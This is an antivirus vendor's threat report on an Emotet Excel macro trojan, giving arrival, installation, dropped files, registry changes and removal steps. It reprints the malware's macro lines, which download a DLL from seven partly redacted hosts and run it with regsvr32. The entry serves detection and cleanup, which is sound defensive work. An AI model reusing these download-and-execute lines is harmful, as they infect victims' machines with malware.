Trojan.XF.EMOTET.EF
W97M/Dldr.Emotet.FA (ANTIVIR)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan inserts malicious macro code in an Office application base template to execute the following commands:
- CALL ("urlmon","URLDownloadToFile","JJCCBB",0,"http://www.{BLOCKED}p.com/ARIS-BSU/9K1/ ","..\fbd.dll",0,0)
- IF(UJFD1<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"http://www.{BLOCKED}ks.com/mail/0Z4GbaKuDTGprJ/ ","..\fbd.dll",0,0))
- IF(UJFD2<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"http://b{BLOCKED}nesl.com/catalog/iVsl6YvlyIyX/ ","..\fbd.dll",0,0))
- IF(UJFD3<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}academy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/ ","..\fbd.dll",0,0))
- IF(UJFD4<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}a.us/acme-challene/3NXwcYNCa/ ","..\fbd.dll",0,0))
- IF(UJFD5<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}bile-facile.fr/wp-admin/QV/ ","..\fbd.dll",0,0))
- IF(UJFD6<0, CALL("urlmon","URLDownloadToFile","JJCCBB",0,"https://{BLOCKED}t.de/css/gqKtdKmTsC4iDh/ ","..\fbd.dll",0,0))
- IF(UJFD7<0, CLOSE(0),)
- EXEC("%Windows%\SysWow64\regsvr32.exe -s ..\fbd.dll")
- RETURN()
Dropping Routine
This Trojan drops the following files:
- %Users%\fbd.dll → Main payload
- %Temporary Internet Files%\Content.IES\YEFGVF95\9K1[1].htm
(Note: %Temporary Internet Files% is the Temporary Internet Files folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temporary Internet Files on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\Temporary Internet Files on Windows Vista, 7 and 2008(64-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\INetCache on Windows 8, 8.1, 2012(64-bit) and 10(64-bit).)
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://www.{BLOCKED}p.com/ARIS-BSU/9K1/fbd.dll
- http://www.{BLOCKED}rks.com/mail/0Z4GbaKuDTGprJ/fbd.dll
- http://{BLOCKED}nesl.com/catalog/iVsl6YvlyIyX/fbd.dll
- https://{BLOCKED}academy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/fbd.dll
- https://{BLOCKED}a.us/acme-challene/3NXwcYNCa/fbd.dll
- https://{BLOCKED}bile-facile.fr/wp-admin/QV/fbd.dll
- https://{BLOCKED}t.de/css/gqKtdKmTsC4iDh/fbd.dll
Other Details
This Trojan adds the following registry keys:
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Input data = Plain,Dotted,AppText,AppWindow,AppText
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Target Converted = Plain,Single,White,DkBlue,DkBlue
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
Converted data = Plain,Dotted,DkBlue,AppWindow,AppText
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
TargetNotConverted = Plain,Single,DkBlue,AppWindow,AppText
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
InputError = Plain,Thick,AppText,AppWindow,Red
HKEY_CURRENT_USER\Software\Microsoft\
IMEMIP\0x0409
FixedConverted = Plain,AppText,AppWindow,AppText
It uses regsvr32.exe to register malicious DLLs:
- %Windows%\SysWow64\regsvr32.exe -s..\fbd.dll
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software\Microsoft\
- IMEMIP
- IMEMIP
Step 4
Search and delete these files
Step 5
Enable the macro virus protection in Microsoft Office Applications
Step 6
Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.EF. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.